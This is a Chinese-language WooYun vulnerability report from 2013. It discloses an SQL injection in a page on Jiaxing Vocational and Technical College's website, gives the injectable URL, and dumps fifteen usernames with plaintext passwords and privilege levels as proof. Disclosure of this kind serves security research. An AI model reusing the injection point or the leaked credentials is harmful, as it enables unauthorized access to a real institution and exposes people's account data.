漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-025170
漏洞标题：嘉兴职业技术学院爆sql漏洞
相关厂商：嘉兴职业技术学院
漏洞作者： hkmm
提交时间：2013-06-06 12:13
修复时间：2013-07-21 12:14
公开时间：2013-07-21 12:14
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-06-06： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-07-21： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
偶尔之间闲逛之时发现
详细说明：
注入点:http://www2.jxvtc.edu.cn:80/2009_rcpy.asp?id=54
漏洞证明：
[ID] : 1 [用户名] : hxf [用户密码] : 21223 [权限] : 0
[ID] : 2 [用户名] : cly [用户密码] : 2319179 [权限] : 2
[ID] : 3 [用户名] : hxf [用户密码] : 21223 [权限] : 1
[ID] : 4 [用户名] : jmx [用户密码] : jmx890 [权限] : 1
[ID] : 5 [用户名] : jmxxsh [用户密码] : jmxxshbgs [权限] : 0
[ID] : 6 [用户名] : public [用户密码] : public [权限] :
[ID] : 7 [用户名] : jmxkjb [用户密码] : kejibumm [权限] :
[ID] : 8 [用户名] : jmxzlb [用户密码] : zlb753 [权限] :
[ID] : 9 [用户名] : xshshb [用户密码] : shb987 [权限] :
[ID] : 10 [用户名] : 001 [用户密码] : 001 [权限] :
[ID] : 11 [用户名] : hxf [用户密码] : 21223 [权限] : 1
[ID] : 12 [用户名] : xxgc [用户密码] : xxgc [权限] :
[ID] : 13 [用户名] : dzsw2 [用户密码] : dzsw2 [权限] : 2
[ID] : 14 [用户名] : zyjf [用户密码] : zyjf [权限] : 2
[ID] : 15 [用户名] : sjge [用户密码] : 19402 [权限] : 7
修复方案：
版权声明：转载请注明来源 hkmm@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝